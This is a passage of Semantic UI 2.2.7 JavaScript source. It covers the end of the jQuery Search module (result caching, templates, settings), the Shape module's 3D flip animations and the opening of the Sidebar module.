if(queryLength === termLength) { return (query === term); } search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) { var queryCharacter = query.charCodeAt(characterIndex) ; while(nextCharacterIndex < termLength) { if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) { continue search; } } return false; } return true; }, parse: { response: function(response, searchTerm) { var searchHTML = module.generateResults(response) ; module.verbose('Parsing server response', response); if(response !== undefined) { if(searchTerm !== undefined && response[fields.results] !== undefined) { module.addResults(searchHTML); module.inject.id(response[fields.results]); module.write.cache(searchTerm, { html : searchHTML, results : response[fields.results] }); module.save.results(response[fields.results]); } } } }, cancel: { query: function() { if( module.can.useAPI() ) { $module.api('abort'); } } }, has: { minimumCharacters: function() { var searchTerm = module.get.value(), numCharacters = searchTerm.length ; return (numCharacters >= settings.minCharacters); } }, clear: { cache: function(value) { var cache = $module.data(metadata.cache) ; if(!value) { module.debug('Clearing cache', value); $module.removeData(metadata.cache); } else if(value && cache && cache[value]) { module.debug('Removing value from cache', value); delete cache[value]; $module.data(metadata.cache, cache); } } }, read: { cache: function(name) { var cache = $module.data(metadata.cache) ; if(settings.cache) { module.verbose('Checking cache for generated html for query', name); return (typeof cache == 'object') && (cache[name] !== undefined) ? cache[name] : false ; } return false; } }, create: { id: function(resultIndex, categoryIndex) { var resultID = (resultIndex + 1), // not zero indexed categoryID = (categoryIndex + 1), firstCharCode, letterID, id ; if(categoryIndex !== undefined) { // start char code for "A" letterID = String.fromCharCode(97 + categoryIndex); id = letterID + resultID; module.verbose('Creating category result id', id); } else { id = resultID; module.verbose('Creating result id', id); } return id; }, results: function() { if($results.length === 0) { $results = $('<div />') .addClass(className.results) .appendTo($module) ; } } }, inject: { result: function(result, resultIndex, categoryIndex) { module.verbose('Injecting result into results'); var $selectedResult = (categoryIndex !== undefined) ? $results .children().eq(categoryIndex) .children(selector.result).eq(resultIndex) : $results .children(selector.result).eq(resultIndex) ; module.verbose('Injecting results metadata', $selectedResult); $selectedResult .data(metadata.result, result) ; }, id: function(results) { module.debug('Injecting unique ids into results'); var // since results may be object, we must use counters categoryIndex = 0, resultIndex = 0 ; if(settings.type === 'category') { // iterate through each category result $.each(results, function(index, category) { resultIndex = 0; $.each(category.results, function(index, value) { var result = category.results[index] ; if(result.id === undefined) { result.id = module.create.id(resultIndex, categoryIndex); } module.inject.result(result, resultIndex, categoryIndex); resultIndex++; }); categoryIndex++; }); } else { // top level $.each(results, function(index, value) { var result = results[index] ; if(result.id === undefined) { result.id = module.create.id(resultIndex); } module.inject.result(result, resultIndex); resultIndex++; }); } return results; } }, save: { results: function(results) { module.verbose('Saving current search results to metadata', results); $module.data(metadata.results, results); } }, write: { cache: function(name, value) { var cache = ($module.data(metadata.cache) !== undefined) ? $module.data(metadata.cache) : {} ; if(settings.cache) { module.verbose('Writing generated html to cache', name, value); cache[name] = value; $module .data(metadata.cache, cache) ; } } }, addResults: function(html) { if( $.isFunction(settings.onResultsAdd) ) { if( settings.onResultsAdd.call($results, html) === false ) { module.debug('onResultsAdd callback cancelled default action'); return false; } } if(html) { $results .html(html) ; module.refreshResults(); if(settings.selectFirstResult) { module.select.firstResult(); } module.showResults(); } else { module.hideResults(); } }, showResults: function() { if(!module.is.visible()) { if( module.can.transition() ) { module.debug('Showing results with css animations'); $results .transition({ animation : settings.transition + ' in', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true }) ; } else { module.debug('Showing results with javascript'); $results .stop() .fadeIn(settings.duration, settings.easing) ; } settings.onResultsOpen.call($results); } }, hideResults: function() { if( module.is.visible() ) { if( module.can.transition() ) { module.debug('Hiding results with css animations'); $results .transition({ animation : settings.transition + ' out', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true }) ; } else { module.debug('Hiding results with javascript'); $results .stop() .fadeOut(settings.duration, settings.easing) ; } settings.onResultsClose.call($results); } }, generateResults: function(response) { module.debug('Generating html from response', response); var template = settings.templates[settings.type], isProperObject = ($.isPlainObject(response[fields.results]) && !$.isEmptyObject(response[fields.results])), isProperArray = ($.isArray(response[fields.results]) && response[fields.results].length > 0), html = '' ; if(isProperObject || isProperArray ) { if(settings.maxResults > 0) { if(isProperObject) { if(settings.type == 'standard') { module.error(error.maxResults); } } else { response[fields.results] = response[fields.results].slice(0, settings.maxResults); } } if($.isFunction(template)) { html = template(response, fields); } else { module.error(error.noTemplate, false); } } else if(settings.showNoResults) { html = module.displayMessage(error.noResults, 'empty'); } settings.onResults.call(element, response); return html; }, displayMessage: function(text, type) { type = type || 'standard'; module.debug('Displaying message', text, type); module.addResults( settings.templates.message(text, type) ); return settings.templates.message(text, type); }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.search.settings = { name : 'Search', namespace : 'search', silent : false, debug : false, verbose : false, performance : true, // template to use (specified in settings.templates) type : 'standard', // minimum characters required to search minCharacters : 1, // whether to select first result after searching automatically selectFirstResult : false, // API config apiSettings : false, // object to search source : false, // fields to search searchFields : [ 'title', 'description' ], // field to display in standard results template displayField : '', // whether to include fuzzy results in local search searchFullText : true, // whether to add events to prompt automatically automatic : true, // delay before hiding menu after blur hideDelay : 0, // delay before searching searchDelay : 200, // maximum results returned from local maxResults : 7, // whether to store lookups in local cache cache : true, // whether no results errors should be shown showNoResults : true, // transition settings transition : 'scale', duration : 200, easing : 'easeOutExpo', // callbacks onSelect : false, onResultsAdd : false, onSearchQuery : function(query){}, onResults : function(response){}, onResultsOpen : function(){}, onResultsClose : function(){}, className: { animating : 'animating', active : 'active', empty : 'empty', focus : 'focus', hidden : 'hidden', loading : 'loading', results : 'results', pressed : 'down' }, error : { source : 'Cannot search. No source used, and Semantic API module was not included', noResults : 'Your search returned no results', logging : 'Error in debug logging, exiting.', noEndpoint : 'No search endpoint was specified', noTemplate : 'A valid template name was not specified.', serverError : 'There was an issue querying the server.', maxResults : 'Results must be an array to use maxResults setting', method : 'The method you called is not defined.' }, metadata: { cache : 'cache', results : 'results', result : 'result' }, regExp: { escape : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, beginsWith : '(?:\s|^)' }, // maps api response attributes to internal representation fields: { categories : 'results', // array of categories (category view) categoryName : 'name', // name of category (category view) categoryResults : 'results', // array of results (category view) description : 'description', // result description image : 'image', // result image price : 'price', // result price results : 'results', // array of results (standard) title : 'title', // result title url : 'url', // result url action : 'action', // "view more" object name actionText : 'text', // "view more" text actionURL : 'url' // "view more" url }, selector : { prompt : '.prompt', searchButton : '.search.button', results : '.results', message : '.results > .message', category : '.category', result : '.result', title : '.title, .name' }, templates: { escape: function(string) { var badChars = /[&<>"'`]/g, shouldEscape = /[&<>"'`]/, escape = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }, escapedChar = function(chr) { return escape[chr]; } ; if(shouldEscape.test(string)) { return string.replace(badChars, escapedChar); } return string; }, message: function(message, type) { var html = '' ; if(message !== undefined && type !== undefined) { html += '' + '<div class="message ' + type + '">' ; // message type if(type == 'empty') { html += '' + '<div class="header">No Results</div class="header">' + '<div class="description">' + message + '</div class="description">' ; } else { html += ' <div class="description">' + message + '</div>'; } html += '</div>'; } return html; }, category: function(response, fields) { var html = '', escape = $.fn.search.settings.templates.escape ; if(response[fields.categoryResults] !== undefined) { // each category $.each(response[fields.categoryResults], function(index, category) { if(category[fields.results] !== undefined && category.results.length > 0) { html += '<div class="category">'; if(category[fields.categoryName] !== undefined) { html += '<div class="name">' + category[fields.categoryName] + '</div>'; } // each item inside category $.each(category.results, function(index, result) { if(result[fields.url]) { html += '<a class="result" href="' + result[fields.url] + '">'; } else { html += '<a class="result">'; } if(result[fields.image] !== undefined) { html += '' + '<div class="image">' + ' <img src="' + result[fields.image] + '">' + '</div>' ; } html += '<div class="content">'; if(result[fields.price] !== undefined) { html += '<div class="price">' + result[fields.price] + '</div>'; } if(result[fields.title] !== undefined) { html += '<div class="title">' + result[fields.title] + '</div>'; } if(result[fields.description] !== undefined) { html += '<div class="description">' + result[fields.description] + '</div>'; } html += '' + '</div>' ; html += '</a>'; }); html += '' + '</div>' ; } }); if(response[fields.action]) { html += '' + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">' + response[fields.action][fields.actionText] + '</a>'; } return html; } return false; }, standard: function(response, fields) { var html = '' ; if(response[fields.results] !== undefined) { // each result $.each(response[fields.results], function(index, result) { if(result[fields.url]) { html += '<a class="result" href="' + result[fields.url] + '">'; } else { html += '<a class="result">'; } if(result[fields.image] !== undefined) { html += '' + '<div class="image">' + ' <img src="' + result[fields.image] + '">' + '</div>' ; } html += '<div class="content">'; if(result[fields.price] !== undefined) { html += '<div class="price">' + result[fields.price] + '</div>'; } if(result[fields.title] !== undefined) { html += '<div class="title">' + result[fields.title] + '</div>'; } if(result[fields.description] !== undefined) { html += '<div class="description">' + result[fields.description] + '</div>'; } html += '' + '</div>' ; html += '</a>'; }); if(response[fields.action]) { html += '' + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">' + response[fields.action][fields.actionText] + '</a>'; } return html; } return false; } } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Shape * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.shape = function(parameters) { var $allModules = $(this), $body = $('body'), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var moduleSelector = $allModules.selector || '', settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.shape.settings, parameters) : $.extend({}, $.fn.shape.settings), // internal aliases namespace = settings.namespace, selector = settings.selector, error = settings.error, className = settings.className, // define namespaces for modules eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, // selector cache $module = $(this), $sides = $module.find(selector.sides), $side = $module.find(selector.side), // private variables nextIndex = false, $activeSide, $nextSide, // standard module element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.verbose('Initializing module for', element); module.set.defaultSide(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache for', element); $module = $(element); $sides = $(this).find(selector.shape); $side = $(this).find(selector.side); }, repaint: function() { module.verbose('Forcing repaint event'); var shape = $sides[0] || document.createElement('div'), fakeAssignment = shape.offsetWidth ; }, animate: function(propertyObject, callback) { module.verbose('Animating box with properties', propertyObject); callback = callback || function(event) { module.verbose('Executing animation callback'); if(event !== undefined) { event.stopPropagation(); } module.reset(); module.set.active(); }; settings.beforeChange.call($nextSide[0]); if(module.get.transitionEvent()) { module.verbose('Starting CSS animation'); $module .addClass(className.animating) ; $sides .css(propertyObject) .one(module.get.transitionEvent(), callback) ; module.set.duration(settings.duration); requestAnimationFrame(function() { $module .addClass(className.animating) ; $activeSide .addClass(className.hidden) ; }); } else { callback(); } }, queue: function(method) { module.debug('Queueing animation of', method); $sides .one(module.get.transitionEvent(), function() { module.debug('Executing queued animation'); setTimeout(function(){ $module.shape(method); }, 0); }) ; }, reset: function() { module.verbose('Animating states reset'); $module .removeClass(className.animating) .attr('style', '') .removeAttr('style') ; // removeAttr style does not consistently work in safari $sides .attr('style', '') .removeAttr('style') ; $side .attr('style', '') .removeAttr('style') .removeClass(className.hidden) ; $nextSide .removeClass(className.animating) .attr('style', '') .removeAttr('style') ; }, is: { complete: function() { return ($side.filter('.' + className.active)[0] == $nextSide[0]); }, animating: function() { return $module.hasClass(className.animating); } }, set: { defaultSide: function() { $activeSide = $module.find('.' + settings.className.active); $nextSide = ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $module.find(selector.side).first() ; nextIndex = false; module.verbose('Active side set to', $activeSide); module.verbose('Next side set to', $nextSide); }, duration: function(duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; module.verbose('Setting animation duration', duration); if(settings.duration || settings.duration === 0) { $sides.add($side) .css({ '-webkit-transition-duration': duration, '-moz-transition-duration': duration, '-ms-transition-duration': duration, '-o-transition-duration': duration, 'transition-duration': duration }) ; } }, currentStageSize: function() { var $activeSide = $module.find('.' + settings.className.active), width = $activeSide.outerWidth(true), height = $activeSide.outerHeight(true) ; $module .css({ width: width, height: height }) ; }, stageSize: function() { var $clone = $module.clone().addClass(className.loading), $activeSide = $clone.find('.' + settings.className.active), $nextSide = (nextIndex) ? $clone.find(selector.side).eq(nextIndex) : ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $clone.find(selector.side).first(), newWidth = (settings.width == 'next') ? $nextSide.outerWidth(true) : (settings.width == 'initial') ? $module.width() : settings.width, newHeight = (settings.height == 'next') ? $nextSide.outerHeight(true) : (settings.height == 'initial') ? $module.height() : settings.height ; $activeSide.removeClass(className.active); $nextSide.addClass(className.active); $clone.insertAfter($module); $clone.remove(); if(settings.width != 'auto') { $module.css('width', newWidth + settings.jitter); module.verbose('Specifying width during animation', newWidth); } if(settings.height != 'auto') { $module.css('height', newHeight + settings.jitter); module.verbose('Specifying height during animation', newHeight); } }, nextSide: function(selector) { nextIndex = selector; $nextSide = $side.filter(selector); nextIndex = $side.index($nextSide); if($nextSide.length === 0) { module.set.defaultSide(); module.error(error.side); } module.verbose('Next side manually set to', $nextSide); }, active: function() { module.verbose('Setting new side to active', $nextSide); $side .removeClass(className.active) ; $nextSide .addClass(className.active) ; settings.onChange.call($nextSide[0]); module.set.defaultSide(); } }, flip: { up: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping up', $nextSide); var transform = module.get.transform.up() ; module.set.stageSize(); module.stage.above(); module.animate(transform); } else { module.queue('flip up'); } }, down: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping down', $nextSide); var transform = module.get.transform.down() ; module.set.stageSize(); module.stage.below(); module.animate(transform); } else { module.queue('flip down'); } }, left: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping left', $nextSide); var transform = module.get.transform.left() ; module.set.stageSize(); module.stage.left(); module.animate(transform); } else { module.queue('flip left'); } }, right: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping right', $nextSide); var transform = module.get.transform.right() ; module.set.stageSize(); module.stage.right(); module.animate(transform); } else { module.queue('flip right'); } }, over: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping over', $nextSide); module.set.stageSize(); module.stage.behind(); module.animate(module.get.transform.over() ); } else { module.queue('flip over'); } }, back: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping back', $nextSide); module.set.stageSize(); module.stage.behind(); module.animate(module.get.transform.back() ); } else { module.queue('flip back'); } } }, get: { transform: { up: function() { var translate = { y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), z: -($activeSide.outerHeight(true) / 2) } ; return { transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(-90deg)' }; }, down: function() { var translate = { y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), z: -($activeSide.outerHeight(true) / 2) } ; return { transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(90deg)' }; }, left: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2), z : -($activeSide.outerWidth(true) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(90deg)' }; }, right: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2), z : -($activeSide.outerWidth(true) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(-90deg)' }; }, over: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) rotateY(180deg)' }; }, back: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) rotateY(-180deg)' }; } }, transitionEvent: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } }, nextSide: function() { return ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $module.find(selector.side).first() ; } }, stage: { above: function() { var box = { origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), depth : { active : ($nextSide.outerHeight(true) / 2), next : ($activeSide.outerHeight(true) / 2) } } ; module.verbose('Setting the initial animation position as above', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'top' : box.origin + 'px', 'transform' : 'rotateX(90deg) translateZ(' + box.depth.next + 'px)' }) ; }, below: function() { var box = { origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), depth : { active : ($nextSide.outerHeight(true) / 2), next : ($activeSide.outerHeight(true) / 2) } } ; module.verbose('Setting the initial animation position as below', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'top' : box.origin + 'px', 'transform' : 'rotateX(-90deg) translateZ(' + box.depth.next + 'px)' }) ; }, left: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as left', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(-90deg) translateZ(' + box.depth.next + 'px)' }) ; }, right: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as left', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(90deg) translateZ(' + box.depth.next + 'px)' }) ; }, behind: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as behind', $nextSide, box); $activeSide .css({ 'transform' : 'rotateY(0deg)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(-180deg)' }) ; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.shape.settings = { // module info name : 'Shape', // hide all debug content silent : false, // debug content outputted to console debug : false, // verbose debug output verbose : false, // fudge factor in pixels when swapping from 2d to 3d (can be useful to correct rounding errors) jitter : 0, // performance data output performance: true, // event namespace namespace : 'shape', // width during animation, can be set to 'auto', initial', 'next' or pixel amount width: 'initial', // height during animation, can be set to 'auto', 'initial', 'next' or pixel amount height: 'initial', // callback occurs on side change beforeChange : function() {}, onChange : function() {}, // allow animation to same side allowRepeats: false, // animation duration duration : false, // possible errors error: { side : 'You tried to switch to a side that does not exist.', method : 'The method you called is not defined' }, // classnames used className : { animating : 'animating', hidden : 'hidden', loading : 'loading', active : 'active' }, // selectors used selector : { sides : '.sides', side : '.side' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Sidebar * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.sidebar = function(parameters) { var $allModules = $(this), $window = $(window), $document = $(document), $html = $('html'), $head = $('head'), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.sidebar.settings, parameters) : $.extend({}, $.fn.sidebar.settings), selector = settings.selector, className = settings.className, namespace = settings.namespace, regExp = settings.regExp, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $sidebars = $module.children(selector.sidebar), $fixed = $context.children(selector.fixed), $pusher = $context.children(selector.pusher), $style, element = this, instance = $module.data(moduleNamespace), elementNamespace, id, currentScroll, transitionEvent, module ; module = { initialize: function() { module.debug('Initializing sidebar', parameters); module.create.id(); transitionEvent = module.get.transitionEvent(); if(module.is.ios()) { module.set.ios(); } // avoids locking rendering if initialized in onReady if(settings.delaySetup) { requestAnimationFrame(module.setup.layout); } else { module.setup.layout(); } requestAnimationFrame(function() { module.setup.cache(); }); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, create: { id: function() { id = (Math.random().toString(16) + '000000000').substr(2,8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); } }, destroy: function() { module.verbose('Destroying previous module for', $module); $module .off(eventNamespace) .removeData(moduleNamespace) ; if(module.is.ios()) { module.remove.ios(); } // bound by uuid $context.off(elementNamespace); $window.off(elementNamespace); $document.off(elementNamespace); }, event: { clickaway: function(event) { var clickedInPusher = ($pusher.find(event.target).length > 0 || $pusher.is(event.target)), clickedContext = ($context.is(event.target)) ; if(clickedInPusher) { module.verbose('User clicked on dimmed page'); module.hide(); } if(clickedContext) { module.verbose('User clicked on dimmable context (scaled out page)'); module.hide(); } }, touch: function(event) { //event.stopPropagation(); }, containScroll: function(event) { if(element.scrollTop <= 0) { element.scrollTop = 1; } if((element.scrollTop + element.offsetHeight) >= element.scrollHeight) { element.scrollTop = element.scrollHeight - element.offsetHeight - 1; } }, scroll: function(event) { if( $(event.target).closest(selector.sidebar).length === 0 ) { event.preventDefault(); } } }, bind: { clickaway: function() { module.verbose('Adding clickaway events to context', $context); if(settings.closable) { $context .on('click' + elementNamespace, module.event.clickaway) .on('touchend' + elementNamespace, module.event.clickaway) ; } }, scrollLock: function() { if(settings.scrollLock) { module.debug('Disabling page scroll'); $window .on('DOMMouseScroll' + elementNamespace, module.event.scroll) ; } module.verbose('Adding events to contain sidebar scroll'); $document .on('touchmove' + elementNamespace, module.event.touch) ; $module .on('scroll' + 